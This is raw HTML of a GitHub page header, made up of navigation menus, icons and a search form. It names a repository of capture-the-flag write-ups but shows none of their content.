<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="TV9ipShVFDaiBFJSAwxT7XI1tCaV30PPYZtOM+0Y/UNpBR5WqNCFohJ82diEdptcMlm0ytVyD7MGD5qw+gtOpA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups
<span></span><span>Public</span> </div>
</div>
